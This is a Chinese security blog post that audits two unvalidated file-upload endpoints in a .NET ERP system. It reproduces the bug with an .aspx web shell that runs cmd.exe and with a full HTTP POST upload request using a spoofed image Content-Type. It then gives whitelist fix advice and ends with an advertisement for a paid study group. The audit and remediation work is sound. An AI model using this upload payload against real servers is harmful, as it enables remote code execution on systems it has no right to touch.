.NET 通过代码审计发现 ERP 系统中两个任意文件上传漏洞

.NET 通过代码审计发现 ERP 系统中两个任意文件上传漏洞

原创 专攻.NET安全的 dotNet安全矩阵 2025-02-08 01:35

文件上传功能是 Web 应用中非常重要且敏感的部分,如果缺乏完善的安全控制,极易成为攻击者利用的突破口。本文通过对 .NET 某 ERP 系统的两个文件上传功能进行代码审计与漏洞分析,揭示了潜在的任意文件上传风险及其危害。

01. 漏洞代码审计

在渗透测试中,
通过分析提供的代码,可以看到系统中存在两个文件上传接口:UploadFile 和 UploadPlanFile。这两个方法分别负责上传文件到 \InFiles\ 和 \InPlanFile\ 目录下。

1.1 Upload***File 方法

该方法在代码中,文件扩展名仅通过以下代码获取,并未对其进行任何安全校验,具体代码如下所示。

public UploadResult Upload***File() {    UploadResult uploadResult = new UploadResult();    try    {        HttpPostedFile httpPostedFile = HttpContext.Current.Request.Files[0];        string str = HostingEnvironment.MapPath("~/");        string text = str + "\\In***Files\\";         if (!Directory.Exists(text))        {            Directory.CreateDirectory(text);        }        uploadResult.filename = httpPostedFile.FileName;         uploadResult.guid = Guid.NewGuid().ToString();        uploadResult.extension = Path.GetExtension(httpPostedFile.FileName);         uploadResult.title = Path.GetFileNameWithoutExtension(httpPostedFile.FileName);        uploadResult.filepath = "\\InFiles\\" + uploadResult.guid + uploadResult.extension;        httpPostedFile.SaveAs(text + uploadResult.guid + uploadResult.extension);    }    return uploadResult;}

通过 Path.GetExtension 获得文件扩展名,并没有做任何过滤,
攻击者可以上传如 .aspx、.exe 等危险扩展名的文件,直接威胁到服务器的安全。

1.2 Upload***PlanFile 方法

该方法在代码中,
文件类型的安全性完全依赖于客户端,而服务端没有使用 Content-Type 或文件内容头信息进行校验,具体代码如下所示。

public UploadResult Upload***PlanFile(){    UploadResult uploadResult = new UploadResult();    try    {        HttpPostedFile httpPostedFile = HttpContext.Current.Request.Files[0];        string str = HostingEnvironment.MapPath("~/");        string text = str + "\\In***PlanFile\\";         if (!Directory.Exists(text))        {            Directory.CreateDirectory(text);        }        uploadResult.filename = httpPostedFile.FileName;         uploadResult.guid = Guid.NewGuid().ToString();        uploadResult.extension = Path.GetExtension(httpPostedFile.FileName);         uploadResult.title = Path.GetFileNameWithoutExtension(httpPostedFile.FileName);        uploadResult.filepath = "\\In***PlanFile\\" + uploadResult.guid + uploadResult.extension;        httpPostedFile.SaveAs(text + uploadResult.guid + uploadResult.extension);    }    return uploadResult;}

通过 HttpContext.Current.Request.Files[0] 获取文件类型,攻击者可以伪
造合法的 Content-Type,比如 image/jpeg。

02. 漏洞实战复现

在渗透测试中,
攻击者可以上传如下 .aspx 文件,上传成功后,攻击者通过访问文件路径触发脚本,执行恶意命令。

<%@ Page Language="C#" %><% System.Diagnostics.Process.Start("cmd.exe", "/c whoami > C:\\whoami.txt"); %>

随后,利用 Burp 发送
 HTTP POST 文件请求,服务端返回文件上传结果,包括文件路径、文件名、扩展名等信息,具体如下所示。

POST /api/cgI**/Upload***File HTTP/1.1Host: Content-Type: multipart/form-data; boundary=-----------------1111Content-Length: 178-------------------1111Content-Disposition: form-data; name="filedata"; filename="1.aspx"Content-Type: image/png<%@ Page Language="C#" %><% System.Diagnostics.Process.Start("cmd.exe", "/c whoami > C:\\whoami.txt"); %>-------------------1111--

上传成功后,访问 http://target.com/In***Files/{guid}.aspx 即可触发恶意脚本,如下图所示。

修复建议

为解决上述问题,建议采取引入白名单机制,仅允许上传特定类型的文件,参考代码如下。

string[] allowedExtensions = { ".jpg", ".jpeg", ".png", ".pdf" };if (!allowedExtensions.Contains(uploadResult.extension.ToLower())){    throw new Exception("文件类型不受支持");}

将上传文件存储到非Web目录,隔离上传路径,只通过专用API访问等。

小结

综上
,文件上传功能的安全性至关重要,稍有不慎就可能导致严重的安全事故。通过上述代码审计和漏洞分析,我们发现了ERP系统中的风险点并提出了有效的修复建议。

03. NET代码审计学习

微软的.NET技术广泛应用于全球企业级产品,包括其知名的
Exchange

SharePoint
等,国内如
某友的Cloud

某通的T系列

某蝶的云产品
等也广泛采用。各行业核心业务均依赖于此技术。这些基于.NET的系统频繁遭攻击,问题涵盖任意文件上传、反序列化漏洞、SQL注入、文件下载漏洞、命令执行漏洞等。

截至目前,星球已推出近
100节内容
 (还在持续增加),包括
70个视频+30份PDF文档
。我们已将内容细致划分为15个分类,并随新漏洞类型的出现持续扩展。在这里您将学到包括但不限于以下漏洞类型。

详细的内容与结构,请参考下方的星球大纲版块,
包括但不限于OWASP十大漏洞类型,涉及SQL注入漏洞、文件上传下载漏洞、任意文件操作漏洞、XML外部实体注入漏洞、跨站脚本攻击漏洞、反序列化漏洞、命令执行漏洞、未授权和越权漏洞、第三方组件漏洞等等。

专属福利

  1. 学习模式: 代码审计知识星球
    在线录播视频
     +后续漏洞挖掘直播、内部专属交流社区答疑解惑;

  2. 优享福利:加入.NET代码审计星球后
    赠送永久
    dot.Net安全基础入门星球。

欢迎对.NET代码审计关注和关心的同学加入我们 [dot.Net安全代码审计] ,目前已有近 100+ 位朋友抢先预定。

星球门票后期价格随着内容和质量的不断沉淀会适当提高,
越早加入越划算!
 现在加入星球可享受星球早鸟价,并可
领取100元优惠券
,期待在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事,
可扫描下方老师二维码了解更多详情。